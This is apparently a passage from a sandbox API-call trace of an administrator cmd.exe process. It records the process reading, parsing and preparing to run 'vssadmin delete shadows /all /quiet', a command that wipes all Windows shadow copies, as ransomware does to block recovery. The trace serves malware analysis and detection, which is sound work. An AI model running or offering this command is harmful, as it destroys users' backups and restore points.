lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0282.849] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.849] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.849] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0282.849] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.849] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.850] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0282.850] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.850] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.850] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0282.850] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.850] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.850] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0282.850] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.850] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.851] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0282.851] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.851] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.851] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0282.851] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.852] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.852] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0282.852] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.852] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.852] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0282.852] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.852] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.852] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0282.852] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.852] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.853] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0282.853] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.853] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.853] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0282.853] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.853] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.853] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0282.854] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.854] GetFileType (hFile=0x1e8) returned 0x3 [0282.854] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.855] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.855] _get_osfhandle (_FileHandle=1) returned 0x214 [0282.855] GetFileType (hFile=0x214) returned 0x3 [0282.855] _get_osfhandle (_FileHandle=1) returned 0x214 [0282.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0282.855] WriteFile (in: hFile=0x214, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x63a40ffa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0x63a40ffa18*=0x24, lpOverlapped=0x0) returned 1 [0282.855] GetProcessHeap () returned 0x22692ff0000 [0282.855] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x4012) returned 0x22692ff8bb0 [0282.855] GetProcessHeap () returned 0x22692ff0000 [0282.855] RtlFreeHeap (HeapHandle=0x22692ff0000, Flags=0x0, BaseAddress=0x22692ff8bb0) returned 1 [0282.857] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0282.857] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0282.857] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0282.857] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0282.857] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0282.857] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0282.857] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0282.858] GetProcessHeap () returned 0x22692ff0000 [0282.858] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0xb0) returned 0x22692ff67a0 [0282.858] GetProcessHeap () returned 0x22692ff0000 [0282.858] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x22) returned 0x22692ff6a40 [0282.859] GetProcessHeap () returned 0x22692ff0000 [0282.859] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x48) returned 0x22692ff6a70 [0282.860] GetConsoleOutputCP () returned 0x1b5 [0283.245] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c559fbb0 | out: lpCPInfo=0x7ff7c559fbb0) returned 1 [0283.245] SetThreadUILanguage (LangId=0x0) returned 0x409 [0283.482] GetConsoleTitleW (in: lpConsoleTitle=0x63a40ff860, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0283.761] malloc (_Size=0xffce) returned 0x22693110840 [0283.761] ??_V@YAXPEAX@Z () returned 0x22693110840 [0283.762] malloc (_Size=0xffce) returned 0x22693120820 [0283.762] ??_V@YAXPEAX@Z () returned 0x22693120820 [0283.763] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0283.763] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0283.763] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0283.763] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0283.763] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0283.763] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0283.763] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0283.763] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0283.763] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0283.763] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0283.763] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0283.763] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0283.764] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0283.764] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0283.764] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0283.764] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0283.764] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0283.764] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0283.764] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0283.764] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0283.764] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0283.764] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0283.764] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0283.764] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0283.764] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0283.764] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0283.764] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0283.764] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0283.764] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0283.764] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0283.764] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0283.764] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0283.764] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0283.764] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0283.764] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0283.764] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0283.764] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0283.764] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0283.764] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0283.765] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0283.765] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0283.765] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0283.765] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0283.765] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0283.765] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0283.765] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0283.765] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0283.765] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0283.765] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0283.765] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0283.765] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0283.765] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0283.765] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0283.765] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0283.765] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0283.765] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0283.765] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0283.765] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0283.765] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0283.765] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0283.765] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0283.765] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0283.765] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0283.765] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0283.765] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0283.765] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0283.765] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0283.766] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0283.766] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0283.766] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0283.766] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0283.766] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0283.766] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0283.766] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0283.766] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0283.766] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0283.766] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0283.766] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0283.766] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0283.766] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0283.766] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0283.766] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0283.766] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0283.766] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0283.766] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0283.766] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0283.766] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0283.767] ??_V@YAXPEAX@Z () returned 0x1 [0283.767] GetProcessHeap () returned 0x22692ff0000 [0283.767] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0xffde) returned 0x22692ff8bb0 [0283.768] GetProcessHeap () returned 0x22692ff0000 [0283.768] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x5a) returned 0x22692ff6dc0 [0283.769] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0283.769] malloc (_Size=0xffce) returned 0x22693120820 [0283.769] ??_V@YAXPEAX@Z () returned 0x22693120820 [0283.769] GetProcessHeap () returned 0x22692ff0000 [0283.769] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x1ffac) returned 0x22693008ba0 [0283.772] SetErrorMode (uMode=0x0) returned 0x0 [0283.772] SetErrorMode (uMode=0x1) returned 0x0 [0283.772] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x22693008bb0, lpFilePart=0x63a40ff0e0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x63a40ff0e0*="system32") returned 0x13 [0283.772] SetErrorMode (uMode=0x0) returned 0x1 [0283.772] GetProcessHeap () returned 0x22692ff0000 [0283.772] RtlReAllocateHeap (Heap=0x22692ff0000, Flags=0x0, Ptr=0x22693008ba0, Size=0x4a) returned 0x22693008ba0 [0283.772] GetProcessHeap () returned 0x22692ff0000 [0283.772] RtlSizeHeap (HeapHandle=0x22692ff0000, Flags=0x0, MemoryPointer=0x22693008ba0) returned 0x4a [0283.772] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0283.772] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0283.772] GetProcessHeap () returned 0x22692ff0000 [0283.772] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x1b4) returned 0x22693008c00 [0283.773] GetProcessHeap () returned 0x22692ff0000 [0283.773] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x358) returned 0x22693008dc0 [0283.780] GetProcessHeap () returned 0x22692ff0000 [0283.780] RtlReAllocateHeap (Heap=0x22692ff0000, Flags=0x0, Ptr=0x22693008dc0, Size=0x1b6) returned 0x22693008dc0 [0283.780] GetProcessHeap () returned 0x22692ff0000 [0283.780] RtlSizeHeap (HeapHandle=0x22692ff0000, Flags=0x0, MemoryPointer=0x22693008dc0) returned 0x1b6 [0283.780] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0283.780] GetProcessHeap () returned 0x22692ff0000 [0283.780] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0xe8) returned 0x22692ff6e30 [0283.780] GetProcessHeap () returned 0x22692ff0000 [0283.781] RtlReAllocateHeap (Heap=0x22692ff0000, Flags=0x0, Ptr=0x22692ff6e30, Size=0x7e) returned 0x22692ff6e30 [0283.781] GetProcessHeap () returned 0x22692ff0000 [0283.781] RtlSizeHeap (HeapHandle=0x22692ff0000, Flags=0x0, MemoryPointer=0x22692ff6e30) returned 0x7e [0283.782] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0283.782] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x63a40fee50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x63a40fee50) returned 0x22692ff6ec0 [0283.782] GetProcessHeap () returned 0x22692ff0000 [0283.782] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x0, Size=0x28) returned 0x22693008f90 [0283.782] FindClose (in: hFindFile=0x22692ff6ec0 | out: hFindFile=0x22692ff6ec0) returned 1 [0283.783] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x63a40fee50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x63a40fee50) returned 0xffffffffffffffff [0283.783] GetLastError () returned 0x2 [0283.783] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x63a40fee50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x63a40fee50) returned 0x22692ff6ec0 [0283.783] GetProcessHeap () returned 0x22692ff0000 [0283.783] RtlReAllocateHeap (Heap=0x22692ff0000, Flags=0x0, Ptr=0x22693008f90, Size=0x8) returned 0x22693008f90 [0283.783] FindClose (in: hFindFile=0x22692ff6ec0 | out: hFindFile=0x22692ff6ec0) returned 1 [0283.784] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0283.784] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0283.784] ??_V@YAXPEAX@Z () returned 0x1 [0283.784] GetConsoleTitleW (in: lpConsoleTitle=0x63a40ff3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0284.106] GetProcessHeap () returned 0x22692ff0000 [0284.106] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x21c) returned 0x22693008fc0 [0284.106] GetConsoleTitleW (in: lpConsoleTitle=0x22693008fd0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0284.306] GetProcessHeap () returned 0x22692ff0000 [0284.306] RtlReAllocateHeap (Heap=0x22692ff0000, Flags=0x0, Ptr=0x22693008fc0, Size=0xc2) returned 0x22693008fc0 [0284.306] GetProcessHeap () returned 0x22692ff0000 [0284.306] RtlSizeHeap (HeapHandle=0x22692ff0000, Flags=0x0, MemoryPointer=0x22693008fc0) returned 0xc2 [0284.306] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0286.084] GetProcessHeap () returned 0x22692ff0000 [0286.084] RtlFreeHeap (HeapHandle=0x22692ff0000, Flags=0x0, BaseAddress=0x22693008fc0) returned 1 [0286.084] InitializeProcThreadAttributeList (in: lpAttributeList=0x63a40ff2f0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x63a40ff1e0 | out: lpAttributeList=0x63a40ff2f0, lpSize=0x63a40ff1e0) returned 1 [0286.084] UpdateProcThreadAttribute (in: lpAttributeList=0x63a40ff2f0, dwFlags=0x0, Attribute=0x60001, lpValue=0x63a40ff1cc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x63a40ff2f0, lpPreviousValue=0x0) returned 1 [0286.084] GetStartupInfoW (in: lpStartupInfo=0x63a40ff280 | out: lpStartupInfo=0x63a40ff280*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1e8, hStdOutput=0x214, hStdError=0x214)) [0286.084] GetProcessHeap () returned 0x22692ff0000 [0286.084] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x20) returned 0x22692ff6ec0 [0286.084] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0286.084] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0286.084] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0286.085] _wcsnicmp (_String1="COPYCMD", 